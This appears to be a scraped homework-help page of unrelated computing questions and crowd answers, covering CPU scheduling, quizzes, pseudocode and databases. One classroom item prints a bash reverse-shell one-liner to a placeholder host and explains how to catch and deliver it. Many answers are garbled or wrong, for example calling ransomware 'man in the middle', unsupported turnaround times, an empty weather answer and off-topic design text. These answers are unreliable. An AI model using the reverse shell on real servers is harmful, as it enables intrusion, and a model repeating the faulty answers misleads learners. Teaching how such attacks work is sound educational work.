The following processes are being scheduled using a preemptive, priority-based, round-robin scheduling algorithm.
Process Priority Burst Arrival
P1 8 15 0
P2 2 20 0
P3 4 20 20
P4 4 20 25
P5 5 5 45
P6 5 15 55
Each process is assigned a numerical priority, with a higher number indicating a higher relative priority. The scheduler will execute the highest priority process. For processes with the same priority, a round-robin scheduler will be used with a time quantum of 10 units. If a process is preempted by a higher-priority process, the preempted process is placed at the end of the queue.
i. Show the scheduling order of the processes using a Gantt chart.
ii. What is the turnaround time for each process?
iii. What is the waiting time for each process?
Answers
The turnaround time for each process is P1: 27 units P2: 53 units P3: 48 units P4: 38 units P5: 7 units P6: 45 units
What is the round-robin scheduling method with preemptive priority?A proactive variation of first-come, first-served ordering is round robin. Each process is given a specific amount of time to execute before being dispatched in a first-in, first-out order. The term "time-slice" or "quantum" refers to this period of time.
Is the round robin scheduling method preemptive?The round-robin scheduling method is a form of first-come, first-served CPU scheduling in which each process in the ready state cycles through receiving the CPU for a set period of time. (turn by turn).
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Related Questions
1. Which of the following is smallest?
a) desktop System Unit
b) notebooks System Unit
c) PDA System Unit
d) tablet PC’s
Answers
Answer:
c) PDA System Unit
Explanation:
.... ...
Trust me mark me as brainliest trust me
Answer:
The smallest is PDA System Unit - c
With the help of the network, the attacker can obtain the shell or root shell of the remote server (Linux operating system-based) through the reverse shell attack, and then get full control of the server. The typical reverse shell instruction is as follows:
/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"
1) Please explain the meaning of 0,1,2,>, <, & represented in the above statement;
2) What does the attacker need to do on his machine in order to successfully get the shell information output on the server side? And please explain the meaning represented by /dev/tcp/server_ip/9090;
3) Combined with the above statement, explain the implementation process of reverse shell attack;
4) Combined with the relevant knowledge learned in our class, what attacking methods can be used to successfully transmit and execute the above reverse shell instruction on the server side?
Answers
1. 0 represents standard input (stdin), 1 represents standard output (stdout), 2 represents standard error (stderr), > is output redirection, < is input redirection, and & is used for file descriptor redirection.
2. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility.
3.Identify vulnerable system, craft reverse shell payload, deliver payload to target, execute payload to establish connection with attacker are methods for implementation.
4. Exploiting vulnerabilities, social engineering, planting malware/backdoors, compromising trusted user accounts can be used to execute the reverse shell instruction.
1. In the reverse shell instruction provided ("/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"), the symbols 0, 1, 2, >, <, and & represent the following:
0: It represents file descriptor 0, which is the standard input (stdin).
1: It represents file descriptor 1, which is the standard output (stdout).
2: It represents file descriptor 2, which is the standard error (stderr).
: It is the output redirection symbol and is used to redirect the output of a command to a file or device.
<: It is the input redirection symbol and is used to redirect input from a file or device to a command.
&: It is used for file descriptor redirection, specifically in this case, combining stdout and stderr into a single stream.
2. To successfully get the shell information output on the server side, the attacker needs to set up a listening service on their own machine. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility. The "/dev/tcp/server_ip/9090" in the reverse shell instruction represents the connection to the attacker's machine on IP address "server_ip" and port 9090. By specifying this address and port, the attacker creates a connection between their machine and the compromised server, allowing the output of the shell to be sent to their machine.
3. The reverse shell attack is typically performed in the following steps:
The attacker identifies a vulnerability in the target server and gains control over it.The attacker crafts a payload that includes the reverse shell instruction, which allows the attacker to establish a connection with their machine.The attacker injects or executes the payload on the compromised server, initiating the reverse shell connection.The reverse shell instruction creates a new shell on the compromised server and connects it to the attacker's machine, redirecting the shell's input and output streams to the network connection.Once the reverse shell connection is established, the attacker gains interactive access to the compromised server, obtaining a shell or root shell, and can execute commands as if they were directly working on the server itself.4. Successfully transmit and execute the reverse shell instruction on the server side, the attacker can use various attacking methods, including:
Exploiting a vulnerability: The attacker can search for known vulnerabilities in the target server's operating system or specific applications running on it. By exploiting these vulnerabilities, they can gain unauthorized access and inject the reverse shell payload.
Social engineering: The attacker may use social engineering techniques, such as phishing emails or deceptive messages, to trick a user with access to the server into executing the reverse shell payload unknowingly.
Malware or backdoor installation: If the attacker already has control over another system on the same network as the target server, they may attempt to install malware or a backdoor on that system. This malware or backdoor can then be used to launch the reverse shell attack on the target server.
Compromising a trusted user account: The attacker may target and compromise a user account with privileged access on the server. With the compromised account, they can execute the reverse shell instruction and gain control over the server.
It is important to note that carrying out such attacks is illegal and unethical unless done with proper authorization and for legitimate security testing purposes.
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Which two pieces of complex information are hidden by the user interface of
navigation software?
A. Route output data
B. Map data
C. Language choice
D. Volume
Answers
Data output routes Map data The user interface of navigation software conceals two complex pieces of information.
Describe data.
Data are pieces of information that have been arranged and formatted in a way that can be utilized. Any kind of information, including unprocessed data, text, pictures, music, video, or a mixture of all of these, can be used. In order to make judgements, develop predictions, or gain insights, data is typically gathered from many sources and analysed. Applications, websites, and other digital services can all be powered by data. Data is gathered via methods like measurement, observation, querying, or analysis, and is frequently expressed as numbers or characters that can be processed further.
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1.ShoppingBay is an online auction service that requires several reports. Data for each auctioned
item includes an ID number, item description, length of auction in days, and minimum required bid.
Design a flowchart or pseudocode for the following:
-a. A program that accepts data for one auctioned item. Display data for an auction only if the
minimum required bid is more than $250.00
Answers
The pseudocode for the program: Announce factors for the unloaded thing information, counting:
auction_id (numbers)
item_description (string)
auction_length (numbers)
minimum_bid (drift)
Incite the client to enter the auction_id, item_description, auction_length, and minimum_bid.
What is the pseudocode?The program acknowledges information for one sold thing, counting the auction_id, item_description, auction_length, and minimum_bid. It at that point checks in case the minimum_bid for the unloaded thing is more prominent than or rise to to $250.00.
The pseudocode for the program pronounces factors for the sold thing information and prompts the client to enter the information. At that point it employments an in the event that articulation to check in case the minimum_bid is more noteworthy than or break even with to 250.00.
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what is meant by resources of computer
Answers
Give a common business example that mimics the differences between a shared
network segment and a dedicated network segment
Answers
An business example that mimics the differences between a shared network segment and a dedicated network segment is that of connection of work station transmission.
What is Shared segment network?In this type of network, local area network or an aspect of the local area network is said to have a lot of workstations and the multiple workstations are linked by using a hub
Note that all the workstation do not need to share the network capacity with other workstations but an business example that mimics the differences between a shared network segment and a dedicated network segment is that of connection of work station transmission.
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True
Question # 21
Dropdown
You shouldn’t use more than ____ fonts on a slide.
Answers
Answer:
You should use no more than two fonts on a slide.
Answer:
Well the correct answer is 3 or less, but for this question its not an answer so the correct answer for this is 2
Explanation:
what is star topology
Answers
Which of the following queries can have a fully Meets result?
Answers
Answer: we need the awnser key
Explanation:
What is the creative strategy for music application.
Answers
Answer:
The City of Vancouver has allocated $300,000 to support the growth and development of the Vancouver Music Strategy, developed to address current gaps in the music ecosystem that support: Creating a sustainable, resilient, and vibrant music industry.
Explanation:
business cards can be send to other outlook users as email attachments or........
Answers
Answer:
Hey man, here is the answerExplanation:
The easiest route is Forwarding the existing conversation to another person. The previous thread will be quoted in the new message.
The method in the question appears to be for preserving the top-down reading structure of the existing thread, of which there is no way I'm aware of. Often times, the aforementioned method of simply forwarding an email is enough to impart some context to the person.
Alternatively, one might view the entire thread, and create a PDF of it (possible from the Print dialog box on a Mac, or to save as a PDF in the File/Edit menus in certain windows applications), which they could then send in an email.
Which item follows HTML instructions to assemble web pages?
o Client
o Search Engine
o Web Browser
o Web Server
Answers
In order to average together values that match two different conditions in different ranges, an excel user should use the ____ function.
Answers
Answer: Excel Average functions
Explanation: it gets the work done.
Answer:
excel average
Explanation:
Write the logic to count by 3 from 0 to 300.
(The output should be: 0, 3, 6, 9, etc.)
Answers
7.8 LAB: Palindrome A palindrome is a word or a phrase that is the same when read both forward and backward. Examples are: "bob," "sees," or "never odd or even" (ignoring spaces). Write a program whose input is a word or phrase, and that outputs whether the input is a palindrome.
Answers
Answer:
word = input("Write a word: ").strip().lower()
without_space = word.replace(" ","")
condition = without_space == without_space[::-1]
print("Is %s palindrome?: %s"%(word,condition))
where can I go to answer questions????
Answers
Answer:
Just on this website! Use the main page while logged in, specify what subjects you are good at, then the questions will be coming in! To answer a question you found, just click the "Answer" button (for me it's in the bottom right-hand corner) then you can answer from there. You can also click on the question itself to see comments and answer from there as well.
Hope this helps!
Answer:
Just on this website! Use the main page while logged in, specify what subjects you are good at, then the questions will be coming in! To answer a question you found, just click the "Answer" button (for me it's in the bottom right-hand corner) then you can answer from there. You can also click on the question itself to see comments and answer from there as well.
Explanation:
Which action can users perform on all webmail sites and email programs?
A. Download images from the internet.
B. Store and organize contacts.
C. Find anyone's email address online.
D. Display web pages within an email.
Answers
Answer: B. Store and organize contacts
Explanation:
I did the quiz myself and it was correct, hope this helps you all. :)
simple machines reduce the amount of work necessary to perform a task.
true or false?
Answers
True.
Simple machines are devices that are used to make work easier. They can reduce the amount of force, or effort, required to perform a task by increasing the distance over which the force is applied, or by changing the direction of the force. Examples of simple machines include levers, pulleys, wheels and axles, inclined planes, wedges, and screws. By using simple machines, the amount of work required to perform a task can be reduced.
Task:
1. Create a user named Administrator with
unlimited amount of space
2. Change the password of Administrator
3. Grant update privileges on the
Student_name, GPA columns to
Administraor user from Student table
4. Remove Privilege Update from
Administrator
5. Create a profile named MGProfile with 2
sessions per user and the life time of
password is 160 and 3 failed attempts to
log in to the user account before the
account is locked.
Answers
Most frequent reasons for Windows operating system loading errors: broken or faulty BIOS. The size and settings of a computer hard disk are not supported by BIOS. damaged or faulty hard disk.
How to Fix Operating System Loading ErrorAny Windows laptop or computer may experience the problem of Windows Error Loading Operating System at any time. This occurs when the computer tries to boot but displays an error message such as "Error loading operating system."The good news is that you don't need to freak out when your computer won't turn on. You can try a number of tested techniques to recover your data and restore your device.Most frequent reasons for Windows operating system loading errors:Damaged or faulty BIOSThe size or settings of a computer hard drive are not supported by BIOS.damaged or faulty hard diskthe incorrect disk was selected as the bootable hard drive to load the operatingoperating system that is incompatible.To Learn more about loading errors refer to :
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select al the correct statements about data stored in databases
Data is persistent across multiple run of the program
Answers
All the correct statements about data stored in databases include the following:
A. Code.org (and Applab) allow for both manual and code editing of databases.
C. Records can be complete duplicates of other records, including id numbers
D. Four main operations can be performed on the data, Create Read Update and Delete
E. Data is persistent across multiple runs of the program/app.
What is a database?In a database management system (DBMS), a database can be defined as an organized and structured collection of data that are stored on a computer system as a backup and they're usually accessed electronically.
In this context, we can reasonably infer and logically deduce that data records can be created as complete duplicates of other data records, such as ID numbers. Additionally, CRUD (Create Read Update and Delete) is an abbreviation for the four main operations that can be performed on the data.
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Complete Question:
Select all correct statements about data stored in databases (multiple answers possible):
Code.org (and Applab) allow for both manual and code editing of databases
Ids of records that have been deleted will be reused when new records are created
Records can be complete duplicates of other records, including id numbers
Four main operations can be performed on the data, Create Read Update and Delete
Data is persistent across multiple runs of the program/app
Each record can have many elements (felds) that are a part of the record
If you had to make a choice between studies and games during a holiday, you would use the _______ control structure. If you had to fill in your name and address on ten assignment books, you would use the ______ control structure.
The answers for the blanks are Selection and looping. Saw that this hasn't been answered before and so just wanted to share.
Answers
The missing words are "if-else" and "looping".
What is the completed sentence?If you had to make a choice between studies and games during a holiday, you would use the if-else control structure. If you had to fill in your name and address on ten assignment books, you would use the looping control structure.
A loop is a set of instructions in computer programming that is repeatedly repeated until a given condition is met. Typically, a process is performed, such as retrieving and modifying data, and then a condition is verified, such as whether a counter has reached a predetermined number.
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What is weather today in new york
Answers
Answer:
Explanation:
Today May, 5 Friday 2023 the weather today in New York is around:
Do we still use the hard drive for storage on the server or have to opt for SSD? Considering the fact that we now have 10TB + SSD, wouldn't that be better to use SSD?
Answers
Answer:
Hard drives are still used for storage on servers in many cases, but SSDs are becoming increasingly popular for server storage due to their higher performance and faster access times. In cases where high performance or fast access times are required, an SSD is the better choice. For example, if you need to store large amounts of data (more than 10TB) on a server, an SSD would be the better choice due to its higher performance and faster access times.
describe the use of each of these windows in the visual studio ide: form designer, code editor, and solution explorer. g
Answers
For quickly developing Windows Forms-based apps, Visual Studio's Windows Forms Designer is available. You can quickly add controls to a form, arrange them, and program their actions thanks to Windows Forms Designer.
To help convey a message, create visual components like logos, unique pictures, and illustrations. design layouts, such as the choice of colours, graphics, and typefaces. To clients or art directors, provide design concepts. Adapt final designs to the suggestions of clients or art directors. To keep the project going forward successfully, a designer must have the flexibility to adjust to any circumstance. A combination of attentive listening, the capacity to take criticism, artistic ability, patience, and problem-solving abilities make up this quality. What distinguishes a designer from the competition is this group of six qualities. You don't need a formal degree to identify as a graphic designer, and there is no "design police" to determine who is and isn't deserving.
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What is Windows Form Designer in Visual Studio?
what are the functions of language in logic?
Answers
Answer:
Three basic functions of language: Informative, Expressive, and Directive Language
Informative language. Simply put, informative language can be looked at as though it is either right or wrong, or true or falseExpressive languageDirective languagecomputing to your daily life.
3. Research the trend of BYOD in workplaces. Compare the advantages to any potential disadvantages.
Do you think more companies should adopt this policy? Why or why not?
Answers
Answer:
The explanation of the scenario would be described in the description paragraph below.
Explanation:
BYOD focuses on bringing smart equipment to that same position during which staff members work in that industry, such as connectivity to the corporation's information, technologies, and so forth. Everything just is becoming more and more widely known throughout traditional working environments
Advantage:
Whenever a corporation would be associated with the BYOD entire organization, this should greatly reduce the cost including its machines as individuals don't have to consider buying the others. Throughout relation to the purchase of their whole machines, staff members are significantly more likely to do just that.Disadvantage:
As top executives use their work computers, and it is also indeed very harder to monitor data protection throughout their handheld device, this makes Security another of the greatest drawbacks including its BYOD programs.Throughout my personal view, bringing your someone else's target demographic wouldn't have been acknowledged by the corporations. After all, although the corporation is following a client set of policies that the customer should be doing the project for the service provider as well as the corporation has to save another customer from either the worker because several employees want to initiate their organization.
What does ransomware do to an endpoint device?
1 Infects the endpoint devices and launches attacks on the infected endpoint and other devices connected to the network.
2. Attacks the endpoint device without the consent of the user or the device, discreetly collecting and transmitting information, causing harm to the end user.
3. Gets accidentally installed in the endpoint device as software along with other programs during the installation process. This happens when the user's installation and download options are overlooked, thus affecting the user application adversely.
4. Attacks the endpoint device holding it hostage by preventing it from functioning unless the user fulfills the ransom payment demanded.
Answers
Ransomware attacks the endpoint device holding it hostage by preventing it from functioning unless the user fulfills the ransom payment demanded.
For better understanding, let us explain what the ransomware attack means
A ransomware attack is commonly called "man in the middle". It is a form of hacking attack on a system where a ransomware virus can stay dormant for an extended time being until it is activated by a hacker over the internet.It is regarded as a malicious software that is made to hinder (obstruct) the access to a computer system until a sum of money is paid.From the above, we can therefore say that ransomware is activated by a hacker over the internet and hinder (obstruct) the access to a computer system until a sum of money is paid.
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Kyla has composed a draft of her term paper using Microsoft Word. She now wants to revise the paper. Which tool can she use to store the
document with a different name and makes changes in the new document?
O A. Download
OB. Save As
O C. Save
OD. Export
Answers
A tool which Kyla can use to store the document with a different name and makes changes in the new document is: B. Save As.
What is a document?A document simply refers to a computer resource that is designed and developed to enable end users to easily store data as a single unit on a computer storage device.
Generally speaking, all computer documents can be identified by a title (name), date modified, size, and type such as the following;
SystemTextAudioImageVideoWhat is the Save as command?A Save as command can be defined as a type of command associated with the file menu of a software application or document and it causes a copy of the current file to be created and stored to a different location, file name, and/or file type.
In this context, we can reasonably infer and logically deduce that Kyla should save the document by using the "Save as" command.
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What will happen if you reverse the connection of IDE?
Answers
You have one address, 196.172.128.0 and you want to subnet that address. You want 10 subnets. 1. What class is this address
Answers
Answer:
This address is by default a class c network
Explanation:
This IP address in this question is a class c network because it has 196 as its first octet. A class c network is one which has its first octet to be between 192 and 223. the class c network begins with a 110 binary. If ip is between 192 to 223 it belongs to this class. These first 3 octets are the representation of the network number in the address. Class c's were made to support small networks initially.